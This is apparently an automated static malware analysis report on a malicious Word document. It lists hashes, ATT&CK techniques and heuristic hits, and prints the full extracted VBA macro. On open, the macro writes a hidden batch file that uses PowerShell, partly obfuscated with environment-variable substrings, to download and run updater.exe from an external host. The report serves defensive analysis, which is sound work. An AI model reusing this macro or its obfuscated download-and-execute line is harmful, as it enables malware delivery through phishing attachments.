Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d72bfcbf638e2297…

MALICIOUS

Office (OLE)

30.5 KB Created: 2018-11-13 15:43:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 05a7cc92e0075fdb3ab77800b9d06174 SHA-1: e8b4d6606404e7d2968f213a9598a6bb62085f55 SHA-256: d72bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros that execute a batch script which, in turn, uses PowerShell to download and execute a second-stage payload from 'http://file.buttsdki.ca/updater.exe' and saves it as 'C:\ProgramData\nc.exe'. The script also attempts to hide the downloaded files using file attributes. This indicates a downloader or droppper functionality, likely delivered via a spearphishing attachment.

Heuristics 10

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        retVal = Shell(s, vbHide)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        #Else
    Print #FileNumber, "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell (New-Object System.Net.WebClient).DownloadFile('http://file.buttsdki.ca/updater.exe','C:\ProgramData\nc.exe');Start-Process 'C:\ProgramData\nc.exe'"
    #End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    dfgsr5tdg
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    dfgsr5tdg
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://file.buttsdki.ca/updater.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1917 bytes
SHA-256: 5ed1af3f1ab60e697046586141ee6666301c635f0c6aeaa2772d514acfd09838
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub dfgsr5tdg()
If Not Dir("C:\ProgramData\s.bat", vbDirectory) = vbNullString Then
        Application.Quit
Else
    Const s = "C:\ProgramData\s.bat"
    Dim FileNumber As Integer
    Dim retVal As Variant
    FileNumber = FreeFile
    Open s For Output As #FileNumber
    Print #FileNumber, "attrib +h +r +s /s /d C:\ProgramData\s.bat"
    #If Win64 Then
    Print #FileNumber, "PowerShe%ProgramFiles(x86):~13,1%%LOCALAPPDATA:~-1% (%OS:~-2,-1%e%SystemRoot:~-2,1%-Obj%ProgramW6432:~14,-1%%TEMP:~-8,-7%t Sy%CommonProgramW6432:~28,1%te%CommonProgramFiles(x86):~-26,-25%.%OS:~-2,-1%et.W%PUBLIC:~5,1%%PUBLIC:~-4,-3%C%CommonProgramFiles(x86):~32,1%%APPDATA:~-3,-2%%TEMP:~-3,1%%APPDATA:~-2,1%%ProgramData:~-2,-1%).Dow%SystemRoot:~5,1%l%ProgramData:~5,1%a%SystemRoot:~6,1%F%OS:~-9,-8%%ProgramFiles(x86):~13,-8%%ProgramFiles(x86):~14,-7%('htt%TEMP:~-1%://file.buttsdki.ca/updater.exe','C:\ProgramData\nc.exe');Start-Process 'C:\ProgramData\nc.exe'"
    #Else
    Print #FileNumber, "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell (New-Object System.Net.WebClient).DownloadFile('http://file.buttsdki.ca/updater.exe','C:\ProgramData\nc.exe');Start-Process 'C:\ProgramData\nc.exe'"
    #End If
    Print #FileNumber, ""
    Print #FileNumber, "attrib +h +r +s /s /d C:\ProgramData\nc.exe"
    Close #FileNumber
     
    retVal = Shell(s, vbHide)
     
    If retVal = 0 Then
        MsgBox "An Error Occured"
        Close #FileNumber
        End
    End If
        Application.Quit
    End If

End Sub
Sub AutoOpen()
    dfgsr5tdg
End Sub
Sub Workbook_Open()
    dfgsr5tdg
End Sub

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